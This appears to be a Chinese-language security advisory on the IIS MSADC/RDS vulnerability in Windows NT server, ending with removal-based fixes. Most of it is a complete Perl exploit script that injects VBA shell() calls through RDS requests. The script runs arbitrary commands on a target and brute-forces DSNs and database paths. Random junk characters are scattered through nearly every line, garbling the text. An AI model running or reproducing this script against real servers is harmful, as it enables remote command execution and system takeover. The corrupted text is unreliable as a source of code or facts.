IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
RpYcD uxb:^d?D! 涉及程序：
F_
81l< Microsoft NT server
!.*iw
k` aZ6'|S; 描述：
`^x 9(i/NE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yPoSJzC=[ o,1Dqg4P3 详细：
/D'M 2 4 如果你没有时间读详细内容的话，就删除:
my Ie_k,F c:\Program Files\Common Files\System\Msadc\msadcs.dll
Cc Y7$D 有关的安全问题就没有了。
AL XTR%f ^^U%cu Kg 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
oR#Ob#& ?`H[u7*% 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
t+O e)Ns 关于利用ODBC远程漏洞的描述，请参看:
~>g+2]Bn>$ p?JQ[K7i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Bd&`Xfebj *C7F2o 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
m*dNrG http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1'Rmg\( :RiF3h( 这里不再论述。
\J3 /keL s6n`?,vw 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
[E OVw%R ,EI:gLH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Vm ,,u F 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Xb,T{.3@ Ac`;st%l. 9->q| E4 #将下面这段保存为txt文件，然后: "perl -x 文件名"
>g}G}=R~3 -ihiG_f #!perl
v+6e;xl 8 #
4MLH+/e # MSADC/RDS 'usage' (aka exploit) script
<#*.}w~ #
! %Ny0JkO # by rain.forest.puppy
~*-qX$gr #
S-c ^eLzQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4TZ cc|B5 # beta test and find errors!
)];aI A$ q7_+}"i use Socket; use Getopt::Std;
pr rT:Y getopts("e:vd:h:XR", \%args);
"@yyXS
r +~ 35G:&: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ue\t ,*KYd v* ~3Z1 if (!defined $args{h} && !defined $args{R}) {
qINTCm j print qq~
uMd. j$$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Qi hdn66 -h <host> = host you want to scan (ip or domain)
*eb-rhCVn -d <seconds> = delay between calls, default 1 second
K 1W].(-@4 -X = dump Index Server path table, if available
ej^3Y Nh& -v = verbose
D*2\{W/ -e = external dictionary file for step 5
<]U1\~j _A'{la ~k Or a -R will resume a command session
v("wKHWTI@ fk {0d ~; exit;}
,:GN;sIXg uQ3[Jz`y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
RUo9eQIPD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2?DRLF] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<]d
LX}C) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]?K.
S6 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jp~zX
lu if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
wT_h!W eUBrzoCO if (!defined $args{R}){ $ret = &has_msadc;
rx!=q8=0R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$>q@SJ1q 'jfR t-_- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
go'j/4Tp . "cmd /c ";
{C3Y7< $in=<STDIN>; chomp $in;
f.xA_ Y> $command="cmd /c " . $in ;
eV};9VJ$F EgM*d)X if (defined $args{R}) {&load; exit;}
`I;F $ `\ ] d?x$> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
))T>jh &try_btcustmr;
Q[u6|jRt TqAPAHg print "\nStep 2: Trying to make our own DSN...";
uGVy6, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CIC[1, TO#Pz.)>B6 print "\nStep 3: Trying known DSNs...";
h<l1U'Bn7 &known_dsn;
^ c%N/V
\ /X*oS & -M print "\nStep 4: Trying known .mdbs...";
^J/)6/TMXm &known_mdb;
cP>o+- ) rf
K8q'@ if (defined $args{e}){
=xN= # print "\nStep 5: Trying dictionary of DSN names...";
X[3}?,aqL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
L>9 R4:g $)Bg JDr print "Sorry Charley...maybe next time?\n";
*_-'/i exit;
qUJ
aeQ rZ03x\2 ##############################################################################
KY9n2u&4 1DJekiWf sub sendraw { # ripped and modded from whisker
]uh3R{a/ sleep($delay); # it's a DoS on the server! At least on mine...
aaW]J mRb my ($pstr)=@_;
zu \`1W^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i@P}{ die("Socket problems\n");
j}J Z
if(connect(S,pack "SnA4x8",2,80,$target)){
gzn^#3 b select(S); $|=1;
MgMD\ print $pstr; my @in=<S>;
&#{dWOb h select(STDOUT); close(S);
/Lf6WMit return @in;
mTDVlw0dh } else { die("Can't connect...\n"); }}
Ctu?o+^;z %&<LNEiUN ##############################################################################
b1?xeG# m_NCx]#e
sub make_header { # make the HTTP request
r%]Qlt ~K my $msadc=<<EOT
chI.{Rj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v3[@1FQ" User-Agent: ACTIVEDATA
I:j 3sy Host: $ip
po x, Im Content-Length: $clen
9J- b6, Connection: Keep-Alive
sy5 Fn~\R ",qU,0 ADCClientVersion:01.06
H*I4xT@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e ]8,:Gd( Z}6^ve --!ADM!ROX!YOUR!WORLD!
hVpCB, Content-Type: application/x-varg
W 7No ls{ Content-Length: $reqlen
>]D4Q<TY 'fd1P j9~$ EOT
GIwh@4 ; ; $msadc=~s/\n/\r\n/g;
2'0K WYM return $msadc;}
MjL)IgT 2 ][DZl ##############################################################################
0ezYd S~o P\2M[Gu(Q sub make_req { # make the RDS request
YUWn ;# my ($switch, $p1, $p2)=@_;
vG41C k1 my $req=""; my $t1, $t2, $query, $dsn;
]2SI!Ai7 r JyCw+N0 if ($switch==1){ # this is the btcustmr.mdb query
'-$XX%TOAc $query="Select * from Customers where City=" . make_shell();
= "ts`> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YPDf
Y<?v $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
l ,|%7- y2L#:[8 elsif ($switch==2){ # this is general make table query
>p\e 0n $query="create table AZZ (B int, C varchar(10))";
K,ej%Vtz $dsn="$p1";}
h f6f.Z o89(
h! elsif ($switch==3){ # this is general exploit table query
_u0$,Y?& | $query="select * from AZZ where C=" . make_shell();
9=l.T/?sf $dsn="$p1";}
d tStTT P yC0Q\$% elsif ($switch==4){ # attempt to hork file info from index server
k `KGB $query="select path from scope()";
}ET,ysa $dsn="Provider=MSIDXS;";}
j V3)2C} $m$;v<PSe elsif ($switch==5){ # bad query
#Il_J\# $query="select";
Njc%_&r $dsn="$p1";}
a
dfR!&J w&h 2y4 $t1= make_unicode($query);
{^)70Vz>PE $t2= make_unicode($dsn);
;zTuKex~ $req = "\x02\x00\x03\x00";
2.uA|~qH $req.= "\x08\x00" . pack ("S1", length($t1));
)EM7,xMz $req.= "\x00\x00" . $t1 ;
uLeRZSC $req.= "\x08\x00" . pack ("S1", length($t2));
iO w3MfO $req.= "\x00\x00" . $t2 ;
M5L{*>4|6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
K]oM8H 1 return $req;}
-[ 7O 7 '
%V G/ ##############################################################################
e'*HS7g D |bB u sub make_shell { # this makes the shell() statement
l*aj#%ha return "'|shell(\"$command\")|'";}
AbwbAm+ fN%j J-[d ##############################################################################
qZk'tRv FjfN3#qlg sub make_unicode { # quick little function to convert to unicode
\kIMDg3} my ($in)=@_; my $out;
LHCsk{3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_;9! return $out;}
|k 2" _ bKVj [r8D~ ##############################################################################
A?!I/|E^; t G.(flW, sub rdo_success { # checks for RDO return success (this is kludge)
u^W2UE\ my (@in) = @_; my $base=content_start(@in);
_, AzJ^ if($in[$base]=~/multipart\/mixed/){
v5ur&egVs return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[] W;t\h return 0;}
l3o#@sz: u0)7i.!M ##############################################################################
p0p4Xh1 e 'XOX@UH d sub make_dsn { # this makes a DSN for us
8iQ [ 9 my @drives=("c","d","e","f");
mABe'"8 print "\nMaking DSN: ";
_W!p8cB foreach $drive (@drives) {
b4 #R! print "$drive: ";
f& @BKx my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
X&m'.PA "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U]~^Z R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
:& XH?/Wi $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
u`:hMFTID return 0 if $2 eq "404"; # not found/doesn't exist
Gi6T[" if($2 eq "200") {
Xk mQBV" foreach $line (@results) {
H jNxqaljt return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
B tt]R } return 0;}
Yd
cK&{ a T l c ##############################################################################
M[ 5[ N{ ks;% *d sub verify_exists {
`\Ku]6J]5 my ($page)=@_;
f7de'^t9 my @results=sendraw("GET $page HTTP/1.0\n\n");
zzGYiF ? return $results[0];}
I8Vb-YeS <3X7T6_:@ ##############################################################################
Rhzn/\)| T5Esee sp sub try_btcustmr {
iX{G]< n my @drives=("c","d","e","f");
1t[j"CG(o my @dirs=("winnt","winnt35","winnt351","win","windows");
:VmHfOO kdx
y\
jA foreach $dir (@dirs) {
2
+5e0/_V print "$dir -> "; # fun status so you can see progress
,SlN zR foreach $drive (@drives) {
0o&MB
Dp print "$drive: "; # ditto
=4! n Fi $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"O>n@Q| $reqlenlen=length( "$reqlen" );
1r)kR@!LNG $clen= 206 + $reqlenlen + $reqlen;
YA(@5CZ + A_J1i J< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H( ^bC5' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$ 3+PbYY else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
m(OvD! r} _c ##############################################################################
'Yy&G\S !|?e7u7 sub odbc_error {
G28O%jD? my (@in)=@_; my $base;
5 x2Ay=s my $base = content_start(@in);
~q +[<x R\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
* v%rMU7, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h( QYxI, | $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wRNroQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uZKP"Oy return $in[$base+4].$in[$base+5].$in[$base+6];}
?ne_m:J[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2LY=D L7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
!{^\1QK $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
O OFVnu 9X<OJT;3J ##############################################################################
;)0w:Zn/[ PG5- ;i/ sub verbose {
0p e3L my ($in)=@_;
+0z 7KO%^^ return if !$verbose;
d?,M/$h print STDOUT "\n$in\n";}
0\{BWNK OU DcY@x~ ##############################################################################
^
?hA@{T/1 %%%fL;-y sub save {
uv{ P,]lK my ($p1, $p2, $p3, $p4)=@_;
Pj#'}ru! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
{y
kYW%3s print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
XV>JD/K2 close OUT;}
Y OyX[& oi r PzQ8< ##############################################################################
sPAg)6&M 0Rxe~n1o sub load {
H/F+X?t$0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q]& .#&h open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[Bb utGvj @p=<IN>; close(IN);
1MkI0OZE
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
XhU @W}} $target= inet_aton($ip) || die("inet_aton problems");
T".]m7! print "Resuming to $ip ...";
Mc sTe|X $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-7>)i if($p[1]==1) {
8U2dcx:G3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
. ~lKBkS`! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jLg@ FDb~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-#`c5y}P if (rdo_success(@results)){print "Success!\n";}
"7%:sty else { print "failed\n"; verbose(odbc_error(@results));}}
omZO+=8Q elsif ($p[1]==3){
-PB[-CX if(run_query("$p[3]")){
-l+P8:fL~ print "Success!\n";} else { print "failed\n"; }}
v"u^M-_ elsif ($p[1]==4){
][PzgzG if(run_query($drvst . "$p[3]")){
~o3Hdd_#}N print "Success!\n"; } else { print "failed\n"; }}
C}g9'jY exit;}
XdgUqQb} Zwt; d5 U ##############################################################################
D6D1S/:ij' Z~G my7h( sub create_table {
PnT)LqEF my ($in)=@_;
6Q|k7*,B $reqlen=length( make_req(2,$in,"") ) - 28;
$*[{J+t_ $reqlenlen=length( "$reqlen" );
dBC bL.! $clen= 206 + $reqlenlen + $reqlen;
|BMV.Zi my @results=sendraw(make_header() . make_req(2,$in,""));
@# P0M--X return 1 if rdo_success(@results);
K2_Qu't0$ my $temp= odbc_error(@results); verbose($temp);
mumXUX return 1 if $temp=~/Table 'AZZ' already exists/;
]pA(K?Lbg return 0;}
:
DG)g3# H( - Y ##############################################################################
>/f_F6ay# PrF}a<:n: sub known_dsn {
D?jk$^p~m# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
s)A<=)w/e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
% u{W7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
JD>d\z2QC "banner", "banners", "ads", "ADCDemo", "ADCTest");
[ Mg8/Oy 2pHR_mr b foreach $dSn (@dsns) {
gv15t' y9 print ".";
UK#&lim next if (!is_access("DSN=$dSn"));
1xyU if(create_table("DSN=$dSn")){
W 3W 'oo print "$dSn successful\n";
}`VDD?M if(run_query("DSN=$dSn")){
<c[U#KrvJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wHjLd$ +o print "Something's borked. Use verbose next time\n";}}} print "\n";}
FwKj+f" =Yo1v=wxN ##############################################################################
eS/B24;* tU wRE|_ sub is_access {
G>qZxy`c my ($in)=@_;
pC,o2~%{ $reqlen=length( make_req(5,$in,"") ) - 28;
3{ % LS"c $reqlenlen=length( "$reqlen" );
59uwB('|lH $clen= 206 + $reqlenlen + $reqlen;
Y>."3*^ my @results=sendraw(make_header() . make_req(5,$in,""));
` D7C?M#j] my $temp= odbc_error(@results);
w^k;D,h verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}]1BO return 0;}
8cx=#Me <hnCUg1 ##############################################################################
l2%bF8]z ]-o"}"3Ef sub run_query {
eg+!*>GaX my ($in)=@_;
1B>V t*= $reqlen=length( make_req(3,$in,"") ) - 28;
I &9S;I$ $reqlenlen=length( "$reqlen" );
_&3<6$}i" $clen= 206 + $reqlenlen + $reqlen;
|iFVh$N my @results=sendraw(make_header() . make_req(3,$in,""));
~`;rNnOT3 return 1 if rdo_success(@results);
Q\
^[!| my $temp= odbc_error(@results); verbose($temp);
UCrh/b Tm return 0;}
3CjL\pIC 7)rWw<mY ##############################################################################
l7(!`NPbC !3 3#. @[ sub known_mdb {
gCd`pi
8 my @drives=("c","d","e","f","g");
`[#x_<\t my @dirs=("winnt","winnt35","winnt351","win","windows");
:m=m}3/: my $dir, $drive, $mdb;
OIHz I 2{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?{ "mP 'dD :yT-9 Ze%q # this is sparse, because I don't know of many
$5`!Z%>/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
+Z2MIC|Ud "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
m %+IPZ2m "\\system32\\certmdb.mdb",
%m5Q " 4O "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{ MAQ/5 ;32#t[i b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Ax 3W 2 s "\\cfusion\\cfapps\\forums\\forums_.mdb",
)Ag/Qep "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
( <t_Pru "\\cfusion\\cfapps\\security\\realm_.mdb",
9I LIEm: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
t HD "\\cfusion\\database\\cfexamples.mdb",
`;,Pb&W~ "\\cfusion\\database\\cfsnippets.mdb",
p_*M:P1Ma4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
YO{GU7 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
( fD
;g9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
d &cU* "\\cfusion\\database\\smpolicy.mdb",
$DFv30 f "\\cfusion\\database\cypress.mdb",
QlFZO4 P3| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+YOKA* "\\website\\cgi-win\\dbsample.mdb",
y< R= "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
PeX1wK%f "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
! 2CL1j0( ); #these are just
Mkp/0|Q* foreach $drive (@drives) {
k?BJdg)xJ foreach $dir (@dirs){
qVjWV$j foreach $mdb (@sysmdbs) {
5lKJll^2: print ".";
%ugHhS! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
MJ<Jb ,D1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~pk(L[G if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
HWns.[ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
V =I"-k}RL } else { print "Something's borked. Use verbose next time\n"; }}}}}
&WXY 'A= E9j+o y foreach $drive (@drives) {
T &Xl'=/ foreach $mdb (@mdbs) {
> >l`,+y print ".";
uD_v! if(create_table($drv . $drive . $dir . $mdb)){
4Ph0:^i_ print "\n" . $drive . $dir . $mdb . " successful\n";
vP%tk s+. if(run_query($drv . $drive . $dir . $mdb)){
~ jU/<~s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\u-0v.+| } else { print "Something's borked. Use verbose next time\n"; }}}}
Mj>}zbpk / }
js^ ,(CS 5 /",<1 ##############################################################################
6[ qA`x# 1L7{p>;-dO sub hork_idx {
C<^YVeG print "\nAttempting to dump Index Server tables...\n";
D\~zS`} print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-kz4FS $reqlen=length( make_req(4,"","") ) - 28;
os3 8u!3- $reqlenlen=length( "$reqlen" );
CD j~;$[B $clen= 206 + $reqlenlen + $reqlen;
C#rc@r,F my @results=sendraw2(make_header() . make_req(4,"",""));
JE 5 if (rdo_success(@results)){
dBsX*}C my $max=@results; my $c; my %d;
h[KvhbD3 for($c=19; $c<$max; $c++){
7T``-:`[ $results[$c]=~s/\x00//g;
@r(Z%j7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I-D^>\k + $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
f8 /'%$N $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!9*c8bL D $d{"$1$2"}="";}
A*h{L sx; foreach $c (keys %d){ print "$c\n"; }
i
LBvGZ< 9 } else {print "Index server doesn't seem to be installed.\n"; }}
+.B<Hd t9g fU 5? ##############################################################################
#$~ba %t9% _i_Q ?w` sub dsn_dict {
->z54 T
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
zr v] while(<IN>){
x} /,yaWZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
uhH^>z
KA next if (!is_access("DSN=$dSn"));
Zd^6ulx if(create_table("DSN=$dSn")){
\ b
V6@ #, print "$dSn successful\n";
yfQ5:X if(run_query("DSN=$dSn")){
z@|dzvjl
Q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%m,6}yt print "Something's borked. Use verbose next time\n";}}}
ha@L94L q print "\n"; close(IN);}
@tohNO> "|Fy+'5} ##############################################################################
0Q,g7K <d }uHrto3M sub sendraw2 { # ripped and modded from whisker
iF5'ygR-Z sleep($delay); # it's a DoS on the server! At least on mine...
c:S] R" my ($pstr)=@_;
W+wA_s2&D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zQ?! f#f die("Socket problems\n");
'mCe=Y if(connect(S,pack "SnA4x8",2,80,$target)){
2=0DCF;Bv print "Connected. Getting data";
+[@z(N -h open(OUT,">raw.out"); my @in;
;a=w5,h: select(S); $|=1; print $pstr;
?PA$Ur21lw while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
K`&oC8p close(OUT); select(STDOUT); close(S); return @in;
WtQ8X|\` } else { die("Can't connect...\n"); }}
4EI7W,y % R#L ##############################################################################
e:E0 "< :Eh\NOc_ O sub content_start { # this will take in the server headers
on CKI ," my (@in)=@_; my $c;
[AH 6~-\ x for ($c=1;$c<500;$c++) {
( m\$hX if($in[$c] =~/^\x0d\x0a/){
v$~QC tc if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
L$'[5"ma
; else { return $c+1; }}}
Tm^89I]L return -1;} # it should never get here actually
.LV Qx Ng><n} ##############################################################################
h2z_,`iS7 =@Dwlze sub funky {
uY_SU-v my (@in)=@_; my $error=odbc_error(@in);
m p<1yY] if($error=~/ADO could not find the specified provider/){
&wd;EGGT!q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"q}FPJ^l_N exit;}
bawJ$_O_ if($error=~/A Handler is required/){
"xcX' F^ print "\nServer has custom handler filters (they most likely are patched)\n";
N#V.1<Y exit;}
m^' uipa\ if($error=~/specified Handler has denied Access/){
lN,/3\B print "\nServer has custom handler filters (they most likely are patched)\n";
!f>d_RG exit;}}
Y^Nuz/ ]3ONFa ##############################################################################
r`&- 9"+ ?1L.:CS sub has_msadc {
[ =O/1T my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)}Q(Tl\$ my $base=content_start(@results);
Gir#"5F return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
=U[3PC-N @ return 0;}
i
8!zu!-0 Z U Kf`m[ ########################
g7 1[6<D rG?>ltxB mOo`ZcTU 解决方案：
pY4}>ju(g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]&Z)) H 2、移除web 目录: /msadc
